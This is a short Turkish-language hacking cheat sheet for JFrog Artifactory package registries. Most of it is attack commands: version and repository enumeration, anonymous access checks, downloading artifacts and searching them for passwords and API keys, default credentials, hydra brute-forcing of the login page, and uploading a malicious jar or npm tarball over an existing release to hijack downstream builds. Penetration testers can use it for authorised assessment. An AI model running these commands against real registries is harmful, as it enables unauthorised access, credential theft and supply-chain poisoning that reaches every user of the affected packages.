Artifactory Hacking guide
network supply-chain
Artifactory paket/registry deposudur. Anonim okuma, zayıf API key ve yazılabilir repo supply-chain zehirlemesine gider.
Metodoloji
Section titled “Metodoloji”-
UI/API sürümünü ve anonim erişimi doğrula.
-
Repo listesi, artifact ve metadata sızıntısını tara.
-
Yazma izni veya token ile zararlı paket yükle.
-
Downstream build’lerin zehirli artifact’i çekmesini kanıtla.
curl -skI https://TARGET/artifactory/curl -sk https://TARGET/artifactory/api/system/versioncurl -sk https://TARGET/artifactory/api/repositoriesnmap -Pn -sV -p80,443,8081,8082 TARGETAnonim / API
Section titled “Anonim / API”curl -sk https://TARGET/artifactory/api/storage/libs-release-localcurl -sk -u user:pass https://TARGET/artifactory/api/repositoriescurl -sk -H 'X-JFrog-Art-Api: API_KEY' https://TARGET/artifactory/api/security/usersffuf -u https://TARGET/artifactory/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,401,403Artifact indirme / secret
Section titled “Artifact indirme / secret”curl -sk -O https://TARGET/artifactory/libs-release-local/com/corp/app/1.0/app-1.0.jarunzip -l app-1.0.jar | headstrings app-1.0.jar | rg -i 'password|api[_-]?key|secret|jdbc'# npm/pypi/docker registry endpoint'leri ayrı denecurl -sk https://TARGET/artifactory/api/npm/npm-local/Zehirleme (yazma hakkı)
Section titled “Zehirleme (yazma hakkı)”curl -sk -u user:pass -T evil.jar 'https://TARGET/artifactory/libs-release-local/com/corp/app/1.0/app-1.0.jar'curl -sk -H 'X-JFrog-Art-Api: API_KEY' -T evil.tgz 'https://TARGET/artifactory/api/npm/npm-local/evil/-/evil-1.0.0.tgz'Aynı groupId:artifactId:version üzerine overwrite = build hijackDefault / brute
Section titled “Default / brute”admin:passwordadmin:adminhydra -L users.txt -P rockyou.txt https-post-form://TARGET/artifactory/ui/login:user=^USER^&password=^PASS^:F=errorChecklist
Section titled “Checklist”[ ] Version/API erişimi[ ] Anonim repo listing[ ] Artifact içi secret[ ] Yazma / overwrite PoC[ ] Token veya admin etkisi